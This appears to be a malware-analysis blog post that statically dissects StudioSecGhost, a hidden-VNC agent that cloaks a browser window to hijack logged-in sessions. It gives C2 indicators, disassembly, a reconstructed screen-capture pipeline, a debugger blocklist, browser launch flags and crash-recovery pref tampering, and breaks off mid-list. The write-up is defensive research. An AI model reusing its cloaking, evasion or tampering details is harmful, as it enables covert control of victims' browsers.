StudioSecGhost: A Browser-Piggyback hVNC Agent That Skips the Hidden Desktop
Full static teardown of StudioSecGhost, a novel native x64 hVNC agent that piggybacks on Chrome/Edge/Firefox via per-window ghost cloaking, skipping CreateDesktopW entirely. C2: 2.26.122[.]211:4444. Pure disassembly, no sandbox required.
Downloads: all artifacts for this post are mirrored at taogoldi/analysis_data/studiosecghost_may_2026. The YARA rules are also available at taogoldi/YARA/hvnc/studiosecghost. A full download index is at /downloads/studiosecghost/.
Most hidden-VNC implants carve out an invisible CreateDesktopW desktop, spawn a fresh browser process on it, and stream whatever the operator clicks. StudioSecGhost does none of that. It launches a real, already-installed Chromium or Firefox process with a set of UI-suppression flags, navigates that process to a local HTML file whose <title> is its own internal codename, waits for EnumWindows to surface that titled window, and then cloaks the window with ShowWindow(SW_HIDE) + SetWindowPos(SWP_HIDEWINDOW) – all inside the same Chromium process tree the victim is already using. The operator gets a ghost browser that shares the victim’s cookies and logged-in state. The victim gets a layered “SECURITY AUDIT IN PROGRESS” banner and no explanation.
The sample arrived in the last 24 hours of ingest and carries zero public attribution as of the analysis date. This post is a full technical teardown: static analysis, each subsystem in detail, kill chain, detection, and IOCs.
TL;DR
- What it is. A native x86-64 hidden-VNC agent, internal codename
StudioSecGhost, that pilots a sibling browser window inside the victim’s existing Chrome / Edge / Firefox process tree. - Why it is different. It does not call
CreateDesktopW/SetThreadDesktop(the standard hVNC pattern used by Pandora, DarkVNC, LOBSHOT). Instead it cloaks a per-window ghost viaWS_EX_LAYERED+WS_EX_TOOLWINDOW+SetLayeredWindowAttributes(alpha=0), then races to hide it before first paint through anEnumWindows-based callback the binary calls the “Interceptor.” - Static indicators. Internal markers
StudioSecGhost,StudioSecVNC_Banner,.SecAnchor,GSystem. Drop namesstudiosec_bounce.html/chrome_update_manifest.html/chrome_task_<n>.xml/ssv_cleanup.bat. Victim overlay text ` WARNING! SECURITY AUDIT IN PROGRESS. `. - C2 and persistence. Raw TCP, custom binary protocol, no TLS, to
2.26.122[.]211:4444(AS201988 / VPSPay, Helsinki). Persistence viaschtasks /Create /XMLwithLogonTrigger+TimeTrigger PT2M+RestartOnFailure Count=999, multiple replica slots on disk, and an in-process watchdog thread. - Detection opportunities. YARA on the internal markers + 3-of-10 log-format prefixes; Suricata on TCP/4444 outbound and on JPEG-SOI bytes inside non-HTTP TCP frames; host-side hunt on
%TEMP%\chrome_task_<n>.xmldrops; Firefoxprefs.jscarrying bothbrowser.sessionstore.resume_from_crash=falseandtoolkit.startup.max_resumed_crashes=-1as a forensic indicator. - Caveat. The first-party analysis is pure static – disassembly only, no dynamic detonation. Behavioral inferences are grounded in the disassembly cited at every claim site. Several of those inferences (C2 IP+port, Chrome User Data access, bounce-HTML drop, scheduled-task XML staging) have since been corroborated against public sandbox telemetry for the same SHA-256; see Public Sandbox Corroboration. Items not yet validated dynamically are flagged in Remaining Open Questions.
Sample Properties
| Field | Value |
|---|---|
| Filename observed | ahy.exe |
| Size | 353,280 bytes (345 KB) |
| Architecture | x86-64 PE, subsystem GUI (2) |
| Compile timestamp | 2026-05-17 01:46:09 UTC |
| MD5 | c1b29c991b45789bda71074cd41a0ca8 |
| SHA-1 | 0590fd821c037b404527566eae38d63519ee6a11 |
| SHA-256 | 5940c41ab003399680a04d726587eed242e4ad8969abe4b5617d712ff190a852 |
| Imphash | 26edff0935c20dff74e040648243639a |
| OriginalFilename (version info) | ahy.exe |
| ProductName / FileDescription | ahy |
| Family marker | StudioSecGhost (in bounce-HTML title and window search string) |
| C2 | 2.26.122[.]211 (VPSPay AS201988, Helsinki, FI) |
| TLP | TLP:CLEAR |
Getting the Sample
The binary was pulled from the internal threat-intel platform ingest queue inside the 24-hour window ending 2026-05-19. The platform’s first-pass classifier tagged it spyware/stealer (a generic bucket) with no family attribution. At the time of triage, the SHA-256 had no VirusTotal entry, no MalwareBazaar report, and no public sandbox detonation visible to OSINT.
The file is a single 353,280-byte PE; no installer wrapper, no dropper, no overlay. It is the agent itself, not a stage one. The way it arrived at the ingest – a single self-contained EXE with no carrier – is consistent with the binary being delivered as the payload of a separate loader or via direct execution after a credential-access foothold; the delivery vector itself is outside the visibility of this analysis.
The internal builder codename StudioSecGhost is embedded as a plaintext UTF-16LE string in .rdata at file offset 0x48bb8. It doubles as the ghost window’s HTML title and as the string literal passed to the EnumWindows callback for the GetWindowTextW comparison. The companion window class StudioSecVNC_Banner, the anchor window classes GSystem / .SecAnchor, and the four filesystem-artifact names (studiosec_bounce.html, chrome_update_manifest.html, chrome_task_%u.xml, ssv_cleanup.bat) follow in the same data region. None of these strings are obfuscated; no stack-strings, no XOR, no RC4-with-hardcoded-key, no resource-decryption stub.
Family naming follows the binary’s own self-identifier: StudioSecGhost. The folder, YARA rule prefix, and blog title all derive from the same source string used by the binary internally.
Methodology and Toolchain
This analysis is pure static – no dynamic detonation, no sandbox run, no debugger. Every behavioral claim is derived from disassembly of the on-disk PE. The work is reproducible from the shipped scripts; nothing here required a one-off tool or a manual IDA session.
The toolchain is three short Python scripts in scripts/:
recon.py – packing and obfuscation indicators
A first-pass pefile + capstone sweep covering TLS callback table inspection, 4KB-windowed Shannon entropy across every section, anomalous-import detection (LoadLibraryA + VirtualAlloc + GetProcAddress combos), and counts of OLLVM-style control-flow indicators (je rel32 ; jne rel32 chains, xor reg,reg ; jcc opaque-predicate patterns, nop runs). Output goes to stdout; the figures cited in the First-Pass Static Analysis posture paragraph come from a verbatim run of python scripts/recon.py.
extract_config.py – sample-agnostic config lifter
The agent stores everything operational as plain UTF-16LE wide strings in .rdata. The extractor walks .rdata, builds the wide-string list, then buckets each string by predicate (endswith(".html"), s.isdigit(), wcsicmp to a known anchor literal, etc.). It does not hardcode any sample-specific offsets, so it should work against future StudioSecGhost builds that rotate filenames or rearrange .rdata. The JSON output is in reports/json/extracted_config.json.
deep_disasm.py – targeted function reversing
The third script does the heavy lifting. Given a small set of string anchors (each is the VA of a lea rXX, [string] instruction that loads a known log format string), it:
- Finds all function starts in
.textby scanning forint3-padding boundaries followed by common MSVC x64 prologue bytes (48REX.W,4CREX.WR,55push rbp,53push rbx, etc.). On this sample, 879 functions are recovered. - Maps each anchor VA to its containing function by binary-searching the prologue list.
- Finds API caller sets for any IAT entry of interest. The blocklist-scan function was located by enumerating callers of
CreateToolhelp32SnapshotandProcess32FirstW. (Both turned out to be insidechrome_lifecycle_manager, not the anti-analysis routine; the real anti-analysis routine was found by xref’ing the wide-string literalx64dbg.exe, which has exactly one lea reference in the entire binary – VA0x14000587F.) - Locates references to specific data literals by replaying the disassembly and computing
insn.address + insn.size + dispfor everylea reg, [rip + disp], filtering for hits on a target VA. This is how the ghost-window search was tied to its one call site, and how the wcsstr compare function at0x1400153E0was identified by counting its callers. - Annotates every IAT call and lea with the resolved DLL/function name or the destination string (decoded as either ASCII or UTF-16LE). The output reads like an IDA listing without needing IDA – IAT references show as
; -> KERNEL32.dll:WaitForSingleObjectand string references show as; -> 0x14004ABE8 = L"...". - Reports register-write candidates for “where does this register get loaded?” questions. The C2 port was identified by enumerating every
mov ebx, imm32 / mov ebx, [...]insideagent_main_loopand inspecting the surrounding context for each candidate.
The full output is captured to reports/json/deep_disasm.txt (about 3,500 lines) and is the source-of-truth for every disassembly snippet quoted in this article.
First-Pass Static Analysis
Section Table
| Section | VSize | Raw | Entropy | Notes |
|---|---|---|---|---|
.text | 232,268 | 232,448 | 6.456 | Native x64 code; no packing signature |
.rdata | 96,070 | 96,256 | 5.155 | Import table + UTF-16LE config strings |
.data | 16,684 | 7,168 | 2.422 | BSS-heavy; global state |
.pdata | 11,580 | 11,776 | 5.529 | x64 SEH unwind table (RUNTIME_FUNCTION array; ABI-mandated for x64 PE) |
.fptable | 256 | 512 | 0.000 | Function-pointer / load-config table; padded with zeros |
.rsrc | 1,048 | 1,536 | 3.220 | Minimal resources; no icon or manifest |
.reloc | 2,556 | 2,560 | 5.430 | Relocations present; ASLR enabled |
Entropy across all executable sections sits in the 5-6.5 range, consistent with unobfuscated native code. There is no overlay and no packed stub.
Import Summary
The import table is a direct read on the binary’s subsystem responsibilities:
- KERNEL32.dll (122 imports): process/thread management (
CreateThread,CreateToolhelp32Snapshot,Process32FirstW/NextW,CreateProcessW), file I/O (CreateFileW,WriteFile,CopyFileW,DeleteFileW), anti-debug (IsDebuggerPresent,CheckRemoteDebuggerPresent), synchronization (CreateMutexW,WaitForSingleObject,AcquireSRWLockExclusive) - USER32.dll (40 imports): full window-management suite –
RegisterClassExW,CreateWindowExW,EnumWindows,GetWindowTextW,ShowWindow,SetWindowPos,SetLayeredWindowAttributes,PrintWindow,GetDC - GDI32.dll (11 imports): off-screen bitmap pipeline –
CreateCompatibleDC,CreateCompatibleBitmap,BitBlt,CreateFontW - gdiplus.dll (10 imports):
GdiplusStartup,GdipCreateBitmapFromHBITMAP,GdipSaveImageToStream– JPEG encoding - WS2_32.dll (10 imports): raw BSD-socket API –
WSAStartup,getaddrinfo,connect,send,recv - ADVAPI32.dll (4 imports): registry reads (
RegOpenKeyExW,RegQueryValueExW) +GetUserNameW - SHELL32.dll (1 import):
SHGetFolderPathW– for resolving%TEMP%and%APPDATA% - ole32.dll (4 imports):
CoInitializeEx,CreateStreamOnHGlobal,CoCreateInstance,CoUninitialize– COM stream for GDI+ JPEG output
Fully native Win64 binary. No managed-runtime or scripting-engine imports.
String Observations
All operational strings are stored as UTF-16LE wide strings in .rdata, recoverable via strings -e l. The exceptions are the ASCII literals at VA 0x1400490A0 (browser.sessionstore.resume_from_crash) and 0x1400490C8 (user_pref), both written directly into the Firefox prefs.js file (an ASCII format, so the encoding is consistent).
Recovered strings include:
- C2 target literal:
2.26.122[.]211as a standalone wide string at VA0x140049BB8 - C2 log format:
[NET] AgentNetwork started. Target: %ls:%uat VA0x14004A280 - Log prefixes:
[INIT],[CHROME],[VNC],[NET]– one per subsystem - Bounce HTML format strings:
%sstudiosec_bounce.html,%s\chrome_update_manifest.html - Scheduled task XML filename format:
%schrome_task_%u.xml - Cleanup batch format:
%s\ssv_cleanup.bat - Browser process names:
chrome.exe,msedge.exe,firefox.exe - Browser install paths: full
C:\Program Files[ (x86)]\...paths for all three browsers - Banner text: ` WARNING! SECURITY AUDIT IN PROGRESS. `
- Anti-analysis strings: all 15 analyst/debugger tool names (see Anti-Analysis section)
The full extracted config is available as JSON via the scripts/extract_config.py tool included with this analysis (see the Config Extraction section below).
Posture
The binary is statically linked against the CRT (/MT), is not packed, and is not obfuscated. The TLS callback table is empty, .text 4KB-windowed entropy stays in the 5.13-6.51 range, neither LoadLibraryA nor VirtualAlloc is imported (ruling out the usual runtime-unpacker pattern), and a sweep of .text for OLLVM-style indicators (je rel32 ; jne rel32 chains, xor reg,reg ; jcc opaque predicates, long NOP runs) returns zero hits. Numbers come from scripts/recon.py.
Decompiler-Level Reversing
This section walks the four routines that define StudioSecGhost’s behavior, with concrete virtual addresses. The companion script scripts/ida_rename_studiosecghost.py automates the function-rename pass that produced these names; load it via exec(open(...).read()) in IDA Python.
Main Loop and Network Thread Bootstrap (function @ 0x140003a40)
The bootstrap function at VA 0x140003a40 owns the lifecycle of every long-lived subsystem: Winsock, GDI+, the network thread, the lifecycle manager. The C2 connection itself is dispatched to a worker thread spawned here. The port is hardcoded as an immediate in this function:
1
2
3
4
5
6
7
8
9
10
11
.text:140005dec mov ebx, 0x115c ; port = 4444 (decimal)
.text:140005df1 xor r9d, r9d
.text:140005df4 xor r8d, r8d
.text:140005df7 mov word ptr [rbp + 0xb8], bx ; stash port (u16) on the stack
.text:140005dfe mov edx, 1 ; bManualReset = TRUE
.text:140005e03 xor ecx, ecx ; lpEventAttributes = NULL
.text:140005e05 call cs:CreateEventW ; -> KERNEL32.dll
.text:140005e0b mov [rbp + 0x58], rax ; save event handle
.text:140005e12 je <cleanup> ; if CreateEvent failed
.text:140005e1d lea r8, [rip + 0x898c] ; r8 = 0x14000E7B0 (thread entry)
.text:140005e34 call cs:CreateThread ; -> network thread
The port 0x115c = 4444 – the canonical Metasploit / Meterpreter default. The thread entry point at VA 0x14000E7B0 is the actual net_agent_start (handles handshake, AUTH_LOGIN, command loop). The C2 IP and port are then passed to the per-session log call right after the thread is alive:
1
2
3
4
.text:140005f75 mov r8d, ebx ; port = 4444
.text:140005f78 lea rdx, [rip + 0x43c39] ; -> L"2.26.122[.]211" (VA 0x140049BB8)
.text:140005f7f lea rcx, [rip + 0x442fa] ; -> "[NET] AgentNetwork started. Target: %ls:%u"
.text:140005f86 call agent_log ; -> 0x14000E480
Cleanup (taken when the connection drops or CMD_UNINSTALL arrives) waits the worker thread out with a 5-second timeout, then tears down Winsock and GDI+:
1
2
3
4
5
.text:140005f1e mov edx, 0x1388 ; 5000 ms
.text:140005f23 call cs:WaitForSingleObject ; wait on the net thread
.text:140005f30 call cs:CloseHandle
.text:140005e6b call cs:WSACleanup
.text:140005e75 call cs:GdiplusShutdown
Both the C2 IP and port are statically extractable in this build. The IP is a .rdata literal at VA 0x140049BB8. The port is the immediate operand of a mov ebx instruction at VA 0x140005DEC and can be lifted by any disassembler that resolves immediates – including the supplemental extract_config.py (which can be extended with a mov rXX, imm32 scan keyed off the format-string lea). For new builds, hunt for the byte pattern BB 5C 11 00 00 (mov ebx, 0x115c) to fingerprint identical port choices; if the operator rebuilds with a different port, the same mov ebx, <imm32> pattern preceded by a write to [rbp+0xb8] will still be the signature.
Anti-Analysis Routine (function @ 0x140005700)
The anti-analysis gate runs early in the bootstrap path, before any network init, window registration, or persistence. It is structured as a single function with three stacked checks; tripping any one of them branches to ReleaseMutex and process exit at 0x1400059EF.
Check 1: QueryPerformanceCounter timing trip-wire (0x140005710-0x14000577C).
1
2
3
4
5
6
7
8
9
10
11
12
13
.text:140005710 call cs:QueryPerformanceFrequency ; freq
.text:14000571d call cs:QueryPerformanceCounter ; t0
.text:140005730 mov eax, [rsp + 0x60] ; busy loop:
.text:140005734 add eax, ecx ; acc += i
.text:140005736 inc ecx ; i++
.text:14000573c cmp ecx, 0x3e8 ; 1000 iterations
.text:140005742 jl 0x140005730
.text:14000574b call cs:QueryPerformanceCounter ; t1
.text:140005765 cvtsi2sd xmm0, [rbp - 0x70] ; xmm0 = freq (double)
.text:14000576b cvtsi2sd xmm1, rax ; xmm1 = (t1-t0)
.text:140005770 divsd xmm1, xmm0 ; xmm1 = elapsed seconds
.text:140005774 comisd xmm1, [rip + 0x4546c] ; threshold (xmmword in .rdata)
.text:14000577c ja 0x1400059ef ; jump exit if elapsed > threshold
A 1000-iteration inc/add loop should complete in single-digit microseconds on any modern CPU. If a debugger is single-stepping or instruction-tracing the loop, the elapsed time inflates by orders of magnitude and the agent exits. This is a textbook RDTSC/QPC anti-debug. The threshold is a double constant at VA 0x14004ABE8 with value 0.5 seconds – raw little-endian bytes 00 00 00 00 00 00 e0 3f (IEEE-754 double for 0.5). That threshold is generous: single-stepping the loop trips it instantly, but an emulator or sandbox running at full instruction speed sails through.
Check 2: NtQueryInformationProcess + parent-process inspection (0x140005782-0x14000585E).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:140005782 lea rcx, [rip + 0x4267f] ; -> L"ntdll.dll"
.text:140005789 call cs:GetModuleHandleW
.text:140005792 lea rdx, [rip + 0x42687] ; -> "NtQueryInformationProcess"
.text:140005799 call cs:GetProcAddress ; resolve dynamically
.text:14000579f mov rbx, rax ; rbx = NtQuery fn ptr
.text:1400057be call cs:GetCurrentProcess
.text:1400057c4 mov r9d, 0x30 ; sizeof(PROCESS_BASIC_INFORMATION)
.text:1400057d1 xor edx, edx ; class = ProcessBasicInformation (0)
.text:1400057dc call rbx ; NtQueryInformationProcess(...)
.text:1400057e6 mov r8d, [rbp + 0x48] ; parent PID (PBI.InheritedFromUniqueProcessId)
.text:1400057ec mov ecx, 0x1000 ; PROCESS_QUERY_LIMITED_INFORMATION
.text:1400057f1 call cs:OpenProcess ; open parent
.text:140005830 call cs:QueryFullProcessImageNameW ; parent's image path
.text:14000585e call PathFindFileNameW_equiv ; strip directory
The agent does not enumerate the running process list. It looks at its own parent process and checks whether that parent’s executable name matches a debugger / analyst tool. NtQueryInformationProcess is resolved at runtime via GetModuleHandleW(L"ntdll.dll") + GetProcAddress("NtQueryInformationProcess") – the syscall is not statically imported, so IAT-only scanners miss it.
Check 3: substring match against 15 blocklisted parent names (0x140005863-0x1400059ED).
After the parent’s executable name is in [rbp + 0x670], the agent runs a chain of wcsstr calls – not _wcsicmp and not _wcsnicmp. The chain is fully unrolled into 15 sequential lea rdx, <blocklist[i]> ; lea rcx, parent_name ; call wcsstr ; test rax,rax ; jne exit blocks, e.g.:
1
2
3
4
5
6
7
8
9
10
11
.text:140005863 lea rdx, [rip + 0x425d6] ; -> L"ollydbg.exe"
.text:14000586a lea rcx, [rbp + 0x670] ; parent exe name
.text:140005871 call wcsstr_sse2 ; -> 0x1400153E0
.text:140005876 test rax, rax
.text:140005879 jne 0x1400059ef ; exit on substring hit
.text:14000587f lea rdx, [rip + 0x425d2] ; -> L"x64dbg.exe"
... (13 more entries, same pattern) ...
.text:1400059d7 lea rdx, [rip + 0x425ba] ; -> L"cheatengine"
.text:1400059de lea rcx, [rbp + 0x670]
.text:1400059e5 call wcsstr_sse2
.text:1400059ea je 0x140005a11 ; clean path -- continue agent bootstrap
The compare function at 0x1400153E0 is the SSE2-vectorized wcsstr (it uses pshuflw / pshufd / pcmpeqw / pmovmskb to scan 8 wide chars per iteration). The semantics are substring match: wcsstr(parent, L"ghidra") != NULL returns true for any parent whose name contains the substring ghidra, regardless of position. That answer applies to all 15 entries equally – the choice to drop the .exe suffix on ghidra and cheatengine reflects the fact that those tools have many version-suffixed binary names (ghidra-12.0.exe, cheatengine-x86_64.exe), so the operator matched a stable prefix instead of any one specific filename.
The 15 wide-string blocklist entries live in a contiguous array at VAs 0x140047E40 through 0x140047F90, immediately preceded by the ntdll.dll string (VA 0x140047E08) used in the dynamic GetProcAddress lookup above.
Defensive implications of the parent-process design.
Because the agent only checks the parent PID’s executable name (and uses substring matching), the practical bypasses are different from what a “scan all running processes” check would imply:
- Launching the sample from
cmd.exe,powershell.exe,explorer.exe, or any sandbox monitor (Cuckoo’spython.exe, CAPE’s monitor processes) – bypasses every check, regardless of which analyst tools are running elsewhere on the host. - Double-clicking the sample with IDA Pro running in a separate window – bypasses, because the parent is
explorer.exe, notida64.exe. - Loading the sample via IDA’s “Run -> Run process” – caught, because the parent is
ida64.exe. - Spawning the sample from a custom debugger named
my_x64dbg_wrapper.exe– caught by substring match onx64dbg.exe. - Renaming
x64dbg.exetonot_a_debugger.exebefore launching the sample – bypasses, because the substring no longer matches.
The QPC timing check is more of an obstacle, but only for live single-stepping. A timing-aware analyst tool that fakes QueryPerformanceCounter (or any sandbox that runs the binary at full speed without instrumentation) will sail through it.
Ghost-Window Acquisition (chrome_acquire_ghost @ 0x140008870) and the “Interceptor”
Once the browser process is launched, the agent runs two distinct hide mechanisms in parallel. The first is the Interceptor, which races to hide the ghost window before it draws to the screen. The second is the EnumWindows fallback that scans the live z-order for any window whose title contains StudioSecGhost.
The Interceptor (cloak callback @ 0x140008500). The lifecycle manager runs a tight EnumWindows polling loop whose callback is invoked against every top-level window each iteration. There is no SetWindowsHookEx evidence in the import table or call graph – the “interceptor” name in the binary’s own log strings refers to a fast EnumWindows-based race against window creation, not a true Windows hook. The callback is at VA 0x140008500. Its logic:
1
2
3
4
5
6
7
8
9
.text:140008556 call cs:GetClassNameW ; get target window's class
.text:140008568 call wcsstr_sse2 ; substring match against g_class_filter
.text:14000856f je <ignore> ; skip if not the target class
.text:14000858b call cs:GetWindowLongPtrW (GWL_EXSTYLE)
.text:140008594 bt rax, 0x13 ; test WS_EX_TOOLWINDOW (0x80)
.text:140008599 jb <already_cloaked> ; bit set -> already hidden
.text:1400085de or rdi, 0x80080 ; add WS_EX_LAYERED | WS_EX_TOOLWINDOW
.text:1400085f0 call cs:SetWindowLongPtrW ; install layered+toolwindow style
.text:140008604 call cs:SetLayeredWindowAttributes ; alpha = 0, transparent
The combination of WS_EX_LAYERED + WS_EX_TOOLWINDOW + SetLayeredWindowAttributes(hwnd, 0, 0, LWA_ALPHA) hides the window from the taskbar (toolwindow) and from the screen (alpha=0) without requiring ShowWindow. The log string at VA 0x1400492A0 is the success message for this fast path: [CHROME] Interceptor caught ghost HWND=%p -- hidden before paint.
The EnumWindows fallback (function @ 0x140008870). When the Interceptor misses (e.g., race on browser cold-start), this routine polls EnumWindows until a top-level window whose title contains StudioSecGhost appears. The callback:
1
2
3
4
5
6
7
8
9
10
.text:140008668 call cs:GetWindowTextW ; title -> [rsp+0x130]
.text:14000866e lea rdx, [rip + 0x40c0b] ; -> L"StudioSecGhost" (VA 0x140049280)
.text:140008675 lea rcx, [rsp + 0x130]
.text:14000867d call wcsstr_sse2 ; -> 0x1400153E0
.text:140008682 test rax, rax
.text:140008685 je <not_found_continue_enum> ; rax == NULL -> wcsstr didn't match
.text:14000868a mov [rip + 0x4d9ff], rbx ; g_ghost_hwnd = hwnd
.text:140008691 lea rcx, [rip + 0x40c08] ; -> log format
.text:140008698 call agent_log
.text:14000869d xor eax, eax ; return 0 (stop EnumWindows)
The compare is the same SSE2 wcsstr used in the anti-analysis routine – so the title match is a substring search, not an exact match. Any top-level window whose title contains the literal StudioSecGhost anywhere is a candidate for cloaking. In practice the only window with that substring is the agent’s own bounce HTML page (Chromium uses the HTML <title> as the window title), so the substring-vs-exact distinction does not change the operational outcome. It does, however, mean an analyst can poison the search by opening any process with StudioSecGhost in its title – the agent will cloak that decoy window and miss its own ghost.
After the HWND is captured, the same WS_EX_LAYERED + WS_EX_TOOLWINDOW cloak from the Interceptor is applied, and the HWND is handed to vnc_stream_thread.
The lifecycle manager also runs a second EnumWindows callback at VA 0x140009230 whose purpose is to find the agent’s own anchor window (class GSystem). The callback inline-compares the first 8 wide chars of every window title against L"GSystem" (stored at VA 0x1400496C8) – this is the agent looking up its own message-pump window to deliver lifecycle commands.
Frame Capture Pipeline (vnc_stream_thread)
The streaming subsystem is the most COM-heavy part of the binary. The pipeline below is reconstructed from the import-call sequence visible at the [VNC] StreamThread started lea (VA 0x14000f607) and the GDI+ entries used by the surrounding code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// One-time init:
CoInitializeEx(NULL, COINIT_MULTITHREADED);
GdiplusStartupInput in = {1, NULL, FALSE, FALSE};
GdiplusStartup(&g_gdip_token, &in, NULL);
// Per-frame loop:
HDC win_dc = GetDC(ghost_hwnd);
HDC mem_dc = CreateCompatibleDC(win_dc);
HBITMAP hbmp = CreateCompatibleBitmap(win_dc, w, h);
SelectObject(mem_dc, hbmp);
PrintWindow(ghost_hwnd, mem_dc, PW_RENDERFULLCONTENT);
GpBitmap *gp_bmp;
GdipCreateBitmapFromHBITMAP(hbmp, NULL, &gp_bmp);
IStream *stream;
CreateStreamOnHGlobal(NULL, TRUE, &stream);
GdipSaveImageToStream(gp_bmp, stream, &CLSID_JPEG, &enc_params);
// Pull bytes back out of the IStream, length-prefix, and send():
HGLOBAL hg; GetHGlobalFromStream(stream, &hg);
SIZE_T size = GlobalSize(hg);
void *jpeg = GlobalLock(hg);
net_send_screenshot(jpeg, size, w, h);
GlobalUnlock(hg);
// Cleanup
stream->Release();
GdipDisposeImage(gp_bmp);
DeleteObject(hbmp);
DeleteDC(mem_dc);
ReleaseDC(ghost_hwnd, win_dc);
PrintWindow with the PW_RENDERFULLCONTENT flag (value 0x02) is the key API choice: it forces the target window to render its full client area into the DC even when occluded or off-screen, which is exactly the condition our ghost window is in (cloaked via SW_HIDE). Without that flag, the resulting bitmap would be black. The --disable-occlusion-tracking flag passed to Chromium at launch (see Browser Piggyback section) is the complement: it prevents Chromium from suspending GPU work for the cloaked window between PrintWindow calls.
Firefox prefs.js Patch (chrome_patch_firefox_prefs @ 0x140006910)
The Firefox profile patch writes two preferences, not one. Both are stored as ASCII literals in .rdata and appended to the user’s prefs.js via a C++ std::ofstream (the vtable pointers for the stream object are at VAs 0x140049F28, 0x140049F58, 0x140049F80, 0x140049F90).
The two preference lines are:
| VA | ASCII content |
|---|---|
0x1400490C8 | user_pref("browser.sessionstore.resume_from_crash", false);\n |
0x140049130 | user_pref("toolkit.startup.max_resumed_crashes", -1);\n |
In disassembly (with the r12b / r13b flags gating whether each line is appended):
1
2
3
4
5
6
7
8
.text:14000759c mov r8d, 0x3c ; 60 bytes = first pref line length
.text:1400075a2 lea rdx, [rip + 0x41b1f] ; -> "user_pref(\"browser.sessionstore.resume_from_crash\", false);\n"
.text:1400075ad call <ofstream::operator<<> ; append line 1
.text:1400075b7 mov r8d, 0x36 ; 54 bytes = second pref line length
.text:1400075bd lea rdx, [rip + 0x41b6c] ; -> "user_pref(\"toolkit.startup.max_resumed_crashes\", -1);\n"
.text:1400075c8 call <ofstream::operator<<> ; append line 2
.text:14000762f lea rcx, [rip + 0x41b3a] ; -> "[CHROME] Firefox prefs.js patched: crash recovery disabled."
.text:140007636 call agent_log
The first preference disables the per-session crash-recovery dialog. The second is more aggressive: setting toolkit.startup.max_resumed_crashes to -1 instructs Firefox to never offer to restore a previous session regardless of how many consecutive crashes have occurred. With both prefs in place, Firefox will silently start fresh after a crash and present no UI indication that the prior session ended abnormally.
The patch is unconditional and the inverse is never written. After the agent is removed, both user_pref(...) lines remain in the victim’s prefs.js – a persistent forensic artifact and a real degradation of Firefox’s normal recovery behavior. Note the patch is append-only: if either preference was already set by the user or by another extension, the agent will write a duplicate user_pref(...) line, which Firefox will resolve by using the last one read (i.e., the malicious value wins).
Remaining Open Questions
After the static disassembly pass above, two routines remain partially characterized and would benefit from a Hex-Rays decompile to close out:
vnc_stream_thread(function @0x14000F300, anchor lea at VA0x14000F607). The frame loop and GDI+ pipeline are described above based on import-call patterns. What is not fully nailed down: the exact JPEG quality value passed toGdipSaveImageToStreamand whether that value is mutable mid-session via an operator command. The encoder-parameter setup uses a staticEncoderParametersstruct that should be visible at a fixed.rdataoffset.- Network thread @
0x14000E7B0– the actualgetaddrinfo+connect+ handshake state machine. The bootstrap code spawns it viaCreateThreadwith this entry point, but tracing the full request/response loop inside the thread requires walking another ~0x600 bytes of disassembly. The packet structure (1-byte opcode header, length-prefix layout, AUTH_LOGIN body) is described in the Command-and-Control Protocol section based on string anchors; the exact wire-format byte offsets need a Hex-Rays pass.
These two are nice-to-haves rather than blockers. The major behavioral claims in the analysis are now grounded in real disassembly.
Config Extraction
The script scripts/extract_config.py (included with this analysis) statically extracts the full operational config from .rdata using pefile. It does not execute the binary and does not require IDA. The technique is straightforward because the agent stores everything in plain UTF-16LE: walk the .rdata section, build the wide-string list, then bucket each string by predicate (endswith(".html"), isdigit(), wcsicmp to a known anchor, etc.).
Output for the analyzed sample:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"c2_ip": "2.26.122[.]211",
"c2_port_candidates": [],
"bounce_html_filenames": [
"%s\\chrome_update_manifest.html",
"%sstudiosec_bounce.html"
],
"task_xml_filename_fmt": "%schrome_task_%u.xml",
"cleanup_batch": "%s\\ssv_cleanup.bat",
"banner_class": "StudioSecVNC_Banner",
"banner_title": "StudioSecVNC Banner",
"anchor_class_a": "GSystem",
"anchor_class_b": ".SecAnchor",
"ghost_window_title": "StudioSecGhost",
"browsers": [
{ "name": "Chrome", "process": "chrome.exe", "install_paths_observed": [ "..." ] },
{ "name": "Edge", "process": "msedge.exe", "install_paths_observed": [ "..." ] },
{ "name": "Firefox", "process": "firefox.exe","install_paths_observed": [ "..." ] }
],
"blocklist": [
"cheatengine", "devenv.exe", "dnspy.exe", "ghidra",
"ida.exe", "ida64.exe", "idaq.exe", "idaq64.exe",
"ollydbg.exe", "processhacker.exe", "procexp.exe",
"procmon.exe", "windbg.exe", "x32dbg.exe", "x64dbg.exe"
],
"browser_args_chromium": "\"%s\" --app=\"%s\" --disable-infobars --hide-crash-restore-bubble --disable-backgrounding-occluded-windows --disable-renderer-backgrounding --disable-occlusion-tracking",
"browser_args_firefox": "\"%s\" -new-instance -no-remote -url \"%s\""
}
c2_port_candidates is empty for the wide-string scan, but the static analysis pass in Decompiler-Level Reversing above recovers the actual port directly from the .text section: mov ebx, 0x115c at VA 0x140005DEC = port 4444. A future revision of extract_config.py should add a mov ebx, imm32 scan keyed off the format-string lea to fold this into the JSON output.
For tracking across new builds: re-run extract_config.py against each new sample. The script makes no assumptions specific to the analyzed SHA-256; it discovers strings by predicate.
hVNC Technique: Per-Window Ghost Cloaking
The canonical hVNC pattern used by Pandora, DarkVNC, and LOBSHOT follows the same basic playbook: call CreateDesktopW to create a hidden desktop, call SetThreadDesktop on a new thread, and launch a fresh browser process on that invisible desktop. Everything that process renders is invisible to the victim because the desktop it is running on is never selected as the interactive desktop.
StudioSecGhost takes a different approach that avoids CreateDesktopW entirely.
Instead of a hidden desktop, it uses a hidden window inside an otherwise normal browser process. Here is the sequence:
- The agent detects which of Chrome, Edge, or Firefox is installed by checking a hardcoded list of install paths.
- It writes a minimal bounce HTML file to
%TEMP%with the title<title>StudioSecGhost</title>. The body contains asetTimeout+window.location.replace()call that redirects to whatever URL the operator wants to pilot. - For Chromium-based browsers, it launches the browser with:
1 2 3 4 5 6
--app="file://<bounce_html>" --disable-infobars --hide-crash-restore-bubble --disable-backgrounding-occluded-windows --disable-renderer-backgrounding --disable-occlusion-tracking
The
--appflag creates a minimal app-mode window with no tab bar. The other flags suppress any UI that might signal an anomaly to the victim. For Firefox, the equivalent is-new-instance -no-remote -url <bounce_html>. - An
